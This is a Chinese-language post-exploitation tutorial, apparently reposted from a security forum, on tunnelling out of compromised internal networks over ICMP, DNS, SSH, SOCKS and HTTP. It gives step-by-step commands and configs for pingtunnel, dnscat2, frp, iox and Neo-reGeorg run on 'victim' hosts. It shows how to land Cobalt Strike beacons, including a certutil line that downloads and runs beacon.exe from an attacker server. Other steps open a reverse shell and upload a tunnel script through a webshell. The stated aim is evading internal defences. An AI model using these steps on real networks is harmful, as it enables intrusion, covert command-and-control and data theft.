网络隧道：突破内网的通行证
2023-5-2 20:46:0 Author: xz.aliyun.com(查看原文) 阅读量:135 收藏

一、前言

内网隧道（Intranet tunnel）指的是通过网络隧道的方式，将内网的服务映射到公网上，从而使得外部主机可以访问内网资源。在后渗透阶段，内网隧道的搭建可以帮助攻击者在内部网络中进行更加隐蔽和灵活的操作，从而更好地实现攻击目标。网络隧道还可以更好的帮助我们绕过内网防御、横向渗透、数据转移、隐藏攻击行为，本文简单介绍几种类型的隧道搭建。

二、ICMP隧道

ICMP（Internet Control Message Protocol）Internet 控制报文协议，用于在 IP 主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。ICMP 通过 PING 命令访问远程计算机，建立 ICMP 隧道，将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中，从而穿过防火墙，因为防火墙一般不会屏蔽 PING 数据包，实现不受限制的访问。

隧道搭建

ICMP 隧道搭建使用 Pingtunnel，项目地址：https://github.com/esrrhs/pingtunnel ，Pingtunnel 把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具，跨平台。

1、服务端（vps）上开启 pingtunnel 服务，我们可以看到在没有客户端连接时，接收到的数据包为 0

sudo ./pingtunnel -type server -key [密钥,只限数字]
sudo ./pingtunnel -type server -key 000000

2、客户端（受害主机）开启 pingtunenl 服务，连接服务端

pingtunnel.exe -type client -l :[转发本机2222端口作为ICMP隧道通讯端口] -s [服务端IP] -[转发类型] 1 -noprint 1 -nolog 1
pingtunnel.exe -type client -l :2222 -s 1.x.x.x -sock5 1 -noprint 1 -nolog 1

服务端接收到数据，隧道搭建成功

将ICMP流量转发为其它协议命令

# ICMP转发为TCP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1

# ICMP转发为UDP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

ICMP 隧道流量如下

利用方式

Pingtunnel上线Cobaltstrike

1、按照上面步骤，先利用 Pingtunnel 搭建 ICMP 隧道

服务端（vps）

sudo ./pingtunnel -type server -key 000000(连接密码,只限数字)

客户端（受害主机），这边需要将 ICMP 转发为 TCP

pingtunnel.exe -type client -l [本机IP：ICMP隧道端口] -s [服务端IP_VPS] -t [服务端IP_VPS:ICMP隧道转发至VPS的端口] -tcp 1 -noprint 1 -nolog 1 -key [密钥]
pingtunnel.exe -type client -l 127.0.0.1:2222 -s 1.x.x.x -t x.x.x.x:3333 -tcp 1 -noprint 1 -nolog 1 -key 000000

2、Cobaltstrike 新建两个监听，一个为转发 ICMP 的 2222 端口 host 为 127.0.0.1（这个主要用于生成本地地址的 beacon），另一个监听端口为 ICMP 流量转发到 VPS 的服务端口 3333。

生成 cs 马

受害主机执行 beacon，由于 Cobaltstrike 马监听的端口是 2222 ，马儿流量通过 2222 端口，即 ICMP 隧道端口转发出去，到了服务端（VPS）上，然后 ICMP 上的流量通过 2222 转发到 3333 端口，实现间接上线。

Pingtunel 配合 iox 代理 socks 出网

Pingtunnel 搭建完 ICMP 隧道后，通过 iox 配合代理 Socks5 出网，以达到内网穿透。

1、服务端（VPS），Pingtunnel 搭建 ICMP 隧道，这里选择不打印日志

sudo ./pingtunnel -type server -noprint 1 -nolog 1 -key 000000

2、客户端（受害主机），启动 Pingtunnel ，打通 ICMP 隧道（注意 ICMP 转发方式为 TCP）

pingtunnel.exe -type client -l [本机IP：ICMP隧道端口] -s [服务端IP_VPS] -t [服务端IP_VPS:ICMP隧道转发至VPS的端口] -tcp 1 -noprint 1 -nolog 1 -key [密钥]
pingtunnel.exe -type client -l 127.0.0.1:3389 -s 1.x.x.x -t 1.x.x.x:3333 -tcp 1 -noprint 1 -nolog 1 -key 000000

3、服务端（VPS），启动 iox 服务端，接收从 3333 端口的流量转发至 4444 端口

./iox proxy -l 3333 -l 4444

4、客户端（受害者），启动 iox 客户端，将 3389 流量转发出网，由于 3389 已建立 ICMP 隧道，所以 iox 代理的 Socks 流量将通过 ICMP 隧道出网。

iox.exe proxy -r 127.0.0.1:3389

服务端接收到信息，成功建立通讯

5、通过 proxifier 代理 socks 流量，实现本机访问内网

未进行代理时，本机无法访问内网资源

代理后，本机可访问内网资源

三、DNS 隧道搭建

DNS 隧道是将其它协议的内容封装在 DNS 协议中，以 DNS 请求和响应包完成传输数据的技术。使用 DNS 隧道需要使用一个子域名来进行隧道通信，而不能直接使用主域名，因为 DNS 隧道的工作原理是将隧道数据通过 DNS 协议传输，因此需要使用一个独立的子域名来进行通信，以避免影响到主域名的解析。

隧道搭建

DNS 隧道搭建使用 dnscat2，项目地址 https://github.com/iagox86/dnscat2

1、配置子域名解析，并开放 udp、tcp 53端口，这边使用腾讯云进行域名配置，如何购买不再赘述，购买完域名后，直接搜索 DNS 进入 DNS 解析 DNSPod，对域名添加记录 A 记录以及 NS 记录。该作用是：将NS 记录的 log.xxx.xxx 子域名下所有 DNS 解析交给 A 记录的 ns1.xxx.xxx 处理。

开放 udp、tcp 53端口

验证域名解析设置是否成功，能正常 PING 域名，解析正常

然后在 VPS 上使用 tcpdump 监听 udp 53 端口（ubuntu 上安装 tcpdump ：sudo apt-get install tcpdump）

tcpdump -n -i eth0 udp dst port 53

使用本地电脑 nslookup NS 记录值，若 vps 上 tcpdump 返回查询信息则证明环境正常

3、服务端配置 dnscat2 这边使用公网 ubuntu 作为服务端，注意：使用前查看系统是否有程序占用 TCP 和 UDP 的 53 端口，若有，需要先暂停该程序 ，Ubuntu 上 systemd-resolved 会占用 53 端口，以下命令能暂停服务

service systemd-resolved stop           # 停止 systemd-resolved 服务
systemctl disable systemd-resolved      # 设置开机不启动

安装 dnscat2

git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
apt install gem ruby-dev libpq-dev
gem install bundler
bundle config mirror.https://rubygems.org https://mirrors.tuna.tsinghua.edu.cn/rubygems
bundle install

服务端（vps），启动 dnscat2 服务

cd dnscat2/server
sudo ruby dnscat2.rb [NS上机记录.域名] -c [密钥]
sudo ruby dnscat2.rb log.xxx.xxx -c 000000

4、配置客户端，二进制文件下载地址：https://downloads.skullsecurity.org/dnscat2/ ，客户端（受害主机）启动 dnscat2 服务

dnscat2-v0.07-client-win32.exe --secret=[密钥] [NS 记录值] --delay 5000
dnscat2-v0.07-client-win32.exe --secret=000000 log.xxx.xxx --delay 5000

5、查看服务端，返回一个 session 类似 msf 一般

使用 session -i 1 或者 window -i 1 进入 shell

执行 shell 命令，获取受害者主机反弹 shell

执行 session -i 2 进入反弹 shell 终端

DNS隧道流量如下，中继模式没有 dnscat 关键字，但会暴露域名信息。

利用方式

dnscat2 上线 Cobastrike

1、cobastrike 启动监听

2、服务端（VPS），启动服务

sudo ruby ./dnscat2.rb [NS上机记录.域名] -e open -c 000000 --no-cache
sudo ruby ./dnscat2.rb log.xxx.xxx -e open -c 000000 --no-cache

3、客户端（受害者），启动服务

dnscat2-v0.07-client-win32.exe --secret=000000 log.xxx.xxx --delay 5000

4、远程下载 beacon 执行上线

服务器利用 python 启临时web服务

python3 -m http.server 4444

服务端进入 shell ，通过 certutil.exe 远程下载 beacon 上线主机

certutil.exe -urlcache -split -f http://x.x.x.x:4444/beacon.exe C:\Users\Public\beacon.exe

执行 beacon.exe 实现上线

C:\Users\Public\beacon.exe

四、SSH 隧道

SSH 隧道（SSH Tunnel）是通过 SSH 协议建立的安全网络通道，可以将本地计算机和远程服务器之间的通信流量加密传输，用于传输不安全的协议或访问受限资源，除此之外还可以用来绕过防火墙限制，帮助用户绕过网络访问。

隧道搭建

主机 环境
192.168.11.137 攻击机
192.168.11.128、192.168.20.100 受害者（双网卡）
192.168.20.200 内网主机

攻击机 192.168.11.137 ，模拟公网 VPS

受害者，双网卡

内网主机

1、前期环境配置，攻击机上开启ssh转发功能，将GatewayPorts no改成yes并且把前面注释去掉，改为如下图

vi /etc/ssh/sshd_config

重启ssh服务

systemctl restart sshd.service

本地端口转发

SSH 本地端口转发（Local Port Forwarding）将本地计算机上的端口映射到远程计算机上的技术。

1、跳板机（双网卡主机）,修改 ssh 配置文件 vim /etc/ssh/sshd_config，配置如下

AllowTcpForwarding yes          # 允许转发TCP协议
GatewayPorts yes                # 允许远程主机连接本地转发端口
PermitRootLogin yes             # 允许root登录
TCPKeepAlive yes                # 保持心跳，防止ssh断开

修改完成，重启 ssh服务

systemctl restart sshd.service

2、攻击机（VPS）192.168.11.137 与 受害主机 192.168.11.128（web 服务端）建立隧道。使用 ssh 连接到 ip 地址为 192.168.11.128 的主机，使用 funsiooo 用户身份登录，并在本地计算机上创建一个 8888 端口转发，将本地端口 8888 连接到内网的 192.168.20.200 的 22 端口上，实现 ssh 隧道访问隔离网段的内网主机

ssh -CfNg -L [本机端口]:[隧道访问的内网主机]:[隧道访问的内网主机端口] [双网卡跳板机SSH连接命令]
ssh -CfNg -L 8888:192.168.20.200:22 [email protected]
  • -C: 启用压缩功能，可以减少数据传输量。
  • -f: 在后台运行SSH客户端。
  • -N: 不执行任何命令，只进行端口转发。
  • -g: 允许远程主机通过转发端口连接本地计算机。
  • -L: 指定本地端口转发规则，格式为本地端口:目标地址:目标端口

查看端口 8888 的占用情况，处于监听状态，正常工作状态

netstat -tulnp | grep 8888

3、通过本机连接内网 192.168.20.200 主机，因为 ssh 隧道已搭建，所以当我们 ssh 本机的 8888 端口时，ssh 隧道会将 8888 端口的流量通过跳板机 192.168.11.128 中的 192.168.20.100 网卡访问 192.168.20.200 的 22 端口，实现跨网段访问，注意这次的 ssh 密钥为 192.168.20.200 主机的 ssh 密码（当内网主机为 windows 时，22 端口可变为 3389，在知道密码的情况下可跨网段远程连接windows）

ssh -p 8888 [email protected]

隧道流量如下

远程端口转发

SSH 远程端口转发（Remote Port Forwarding）将远程计算机上的端口映射到本地计算机上的端口的技术。

1、跳板机（双网卡）上执行命令，利用 ssh 建立隧道，将 192.168.20.200 的 22 端口流量转发至攻击者主机 192.168.11.137 的 2222 端口上，隧道建立后，可通过攻击者主机的 2222 端口访问隔离网段 192.168.20.200 的 22 端口，实现跨网段访问。注意此处的 ssh 密码为攻击者 192.168.11.137 主机的 ssh 密码。

ssh -R [远程主机端口]: [目标主机]: [目标主机端口] [攻击者主机]
ssh -R 2222:192.168.20.200:22  [email protected]

攻击者主机 2222 端口正在监听

2、攻击机上访问内网主机

ssh -p 2222 [email protected]

隧道流量如下

动态转发

SSH 动态转发（Dynamic Port Forwarding），也称为 SOCKS 代理，在本地计算机上设置一个 SOCKS 代理，通过 SSH 隧道将网络流量转发到远程服务器上，实现突破边界，访问内部网络资源，类似 frp socks 代理。

1、服务端（VPS），ssh 开启转发功能，将 GatewayPorts no 改成 yes 并且把前面注释去掉

vim /etc/ssh/sshd_config

重启 ssh 服务

systemctl restart sshd.service

2、客户端（受害者），通过 ssh 开启本地代理 135 端口（端口任意），然后输入本地 ssh 密码，进行监听

ssh -qTfnN -D 0.0.0.0:135 [email protected]

利用 ssh 远程转发到公网的服务端（VPS）的 2222 端口，此时输入的密码是服务端（VPS）的ssh密码

ssh -qTfnN -R 0.0.0.0:2222:0.0.0.0:135 [email protected]公网vps

服务端（VPS）2222端口已正在监听中

3、本机利用 Proxifier 连接 Socks

本机代理 socks5 后可直接访问隔离网段 192.168.20.200 的 web 服务

隧道流量如下

五、Socks 隧道

SOCKS（Socket Secure）是一种网络协议，它允许客户端通过一个代理服务器访问互联网。与 HTTP 代理不同，SOCKS 代理可以支持任何类型的网络流量，包括 TCP 和 UDP 流量。SOCKS 协议有多个版本，其中 SOCKS5 是最新的版本，它支持加密认证和数据加密等功能。当客户端使用 SOCKS 代理时，它会向代理服务器发送一个连接请求，请求连接到目标服务器。代理服务器会建立与目标服务器之间的连接，并将数据转发给客户端。客户端可以在本地计算机上运行，也可以在另一个网络中运行，例如内网中的计算机。使用 SOCKS 代理可以绕过某些网络限制，也可以保护用户的隐私，因为代理服务器可以隐藏客户端的真实 IP 地址。

隧道搭建

Socks 隧道搭建使用 FRP + proxifier 实现，frp项目地址：https://github.com/fatedier/frp ,搭建过程中使用到的端口需要在防火墙开放，需要注意不同系统需下载不同版本，如攻击机（服务端）为linux 则需要下载 linux 版本，受害者（客户端）为 windwos 则需要下载 windwos 版本，以下配置直接复制到 frps.ini、frpc.ini 文件运行即可，运行后使用 socks5 代理工具 proxifier 即可进行流量代理。

1、配置文件如下（根据自身需求进行修改）

服务端-frps.ini

[common]
bind_addr = 0.0.0.0        # 绑定的ip，为本机
bind_port = 7000           # 绑定的端口
dashboard_addr = 0.0.0.0   # 管理地址
dashboard_port = 7500      # web管理端口
dashboard_user = root      # web管理的用户名
dashboard_pwd  = root      # web管理用户的密码
token = 1q2w3e             # 客户端服务端连接的密码，客户端也需要配置相同的token
heartbeat_timeout = 90     # 心跳超时时间
max_pool_count = 5         # 最大同时连接数

客户端-配置frpc.ini

[common]
tls_enable = true
server_addr = x.x.x.x               # 服务端IP（根据自己实际 VPS IP 填写）
server_port = 7000                  # 服务端监听的端口
token = 1q2w3e                      # 与服务端的 token 一致才能成功验证
pool_count = 5                      # 最大连接数
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[test]                              # 代理名称，可自行修改
remote_port = 40000                 # 代理的端口，连接 proxifier 时需要用
plugin = socks5                     # 使用的协议
use_encryption = true               # 是否加密
use_compression = true

3、使用方法

配置完服务端与客户端的配置文件后，服务端启动服务

./frps -c frps.ini 

# 挂在后台运行命令
nohup ./frps -c frps.ini >/dev/null 2>&1 &

客户端启动服务，进行连接

frpc.exe -c frpc.ini

# 后台运行命令
nohup ./frpc -c frpc.ini >/dev/null 2>&1 &

利用 proxifier 进行连接

访问内网资源，实现突破网络边界

隧道流量如下

利用方式

frp 多级代理

通过跳板机-1 将流量代理到服务器（vps）上搭建第一层 frp 代理，获取 192.168.20.200 主机。然后通过 192.168.20.200 搭建第二层代理访问 10.10.20.30 的网络资源。

跳板机-1

跳板机-2

需要访问的多层网络内网主机

1、第一层代理搭建

服务端（vps）frps.ini 配置文件

[common]
bind_addr = 0.0.0.0
bind_port = 2222

客户端（受害者主机 192.168.11.128）frpc.ini 配置文件

[common]
server_addr = x.x.x.x
server_port = 2222

[http_proxy]
type = tcp
local_ip = 192.168.20.100
remote_port = 3333。
local_port 3333
plugin = socks5

启动服务端

./frps -c frps.ini

启动客户端

./frpc -c frpc.ini

本机 proxifier 连接 隧道

能访问受害主机的另一网卡 192.168.20.100 的内网资源

2、第二层网络搭建

搭建第二层网络时，跳板机-1既是 frp 的服务端，也是客户端，指向的 IP 不一样，具体请观察配置文件差异

192.168.11.128 上启动 frps 配置文件如下（注意，此前的 frpc 服务不要关闭）

[common]
bind_addr = 192.168.20.100
bind_port = 2222

因为这里是假设已经获取了跳板机-2，192.168.20.200 的主机权限，这里启动 frpc ，配置文件如下

[common]
server_addr = 192.168.20.100
server_port = 2222

[web]
type = tcp
local_ip = 192.168.20.200
local_port = 3333
remote_port = 3333
plugin = socks5

3、当 frp 全部服务都开启后，通过 proxifier 设置代理链，然后就可以在本机上访问第二层内网资源了， Proxifier 设置解释为，我们网络首先通过第一层 VPS 的代理网络，然后通过设置 192.168.20.100 的代理进入第二层网络，从而实现多级代理。

设置代理链后，可在本机访问第二层的内网资源（下图为10.10.20.30 下 web 服务图片，假装 weblogic）

注意，frp 配置文件的端口，需要防火墙开放才能搭建成功，具体端口，根据实际情况设置。

六、HTTP 隧道

HTTP 隧道是一种使用 HTTP 协议进行数据传输的技术，它可以将内网中的服务映射到公网地址上，实现内网穿透的功能。

隧道搭建

HTTP 隧道搭建使用Neo-reGeorg，项目地址 https://github.com/L-codes/Neo-reGeorg

攻击机，不可通内网

受害者（双网卡），模拟 WEB 服务器

1、在攻击机上使用 Python 生成 tunnel.(aspx|ashx|jsp|jspx|php) 脚本，设置密码并上传到 WEB 服务器

python3 neoreg.py generate -k password

2、在获取 webshell 的情况下，根据网站语言类型上传相应的脚本值 web 服务器中

3、连接隧道

python3 neoreg.py -k password -u http://192.168.11.133:8003/tunnel.php -p 2333

4、利用 proxifier 连接 socks，访问内网资源

隧道流量如下

七、扩展

出网类型

协议 命令
ICMP ping ip/domain
HTTP curl ip or domain
DNS nslookup domain 8.8.8.8
TCP/UDP telnet ip port

代理类型

正向代理（Forward Proxy）：代理服务器向外部网络发送请求，通常被用于内部网络无法直接访问外部网络的情况。在这种情况下，客户端向代理服务器发送请求，并在代理服务器上处理并转发请求，作为客户端的代理，代理服务器会将请求发送到目标服务器，接收响应，然后转发给客户端。（例子：公网 frp 作为客户端，内网主机作为服务端）

反向代理（Reverse Proxy）：代理服务器向内部网络发送请求，通常被用于外部网络无法直接访问内部网络的情况。在这种情况下，代理服务器接收外部网络的请求并在代理服务器上进行处理，并将请求转发到内部服务器。当内部服务器发送响应时，代理服务器将响应返回给外部客户端，从而隐藏了内部服务器的真实 IP 地址和其他信息。（例子：公网 frp 作为服务端，内网主机作为客户端）

连接类型

正向连接：客户端向服务器发起连接请求，服务器接受请求并建立连接（例子：受害者主机具备公网IP可出网，此时受害者主机监听一个端口，攻击者主动连接）

反向连接：服务器主动向客户端发起连接请求，客户端接受请求并建立连接（例子：内网主机能出网，但没有公网IP，攻击者无法直接连接，此时攻击者监听一个端口，受害者主动连接攻击者端口）

八、总结

通过学习隧道相关知识，选取了部分工具重新熟悉了各种隧道的搭建，虽然协议上有些许差异，但其逻辑上大差不差。文章主要还是工具上的使用以及协议上的理解。

九、参考

https://mp.weixin.qq.com/s/DlhqE6Yxo9IEXBKRl5epIA
https://github.com/esrrhs/pingtunnel
https://forum.butian.net/share/400
https://github.com/iagox86/dnscat2
https://cloud.tencent.com/developer/article/2130053
https://xz.aliyun.com/t/2214
https://blog.csdn.net/qq_44159028/article/details/120748587
https://mp.weixin.qq.com/s/RiFrP2IurA3Z5JcmWE0Vfg
https://mp.weixin.qq.com/s/_g3rXXyq7HxMM1FVhs2Y1g
https://github.com/fatedier/frp
https://github.com/L-codes/Neo-reGeorg

文章来源: https://xz.aliyun.com/t/12498
如有侵权请联系:admin#unsafe.sh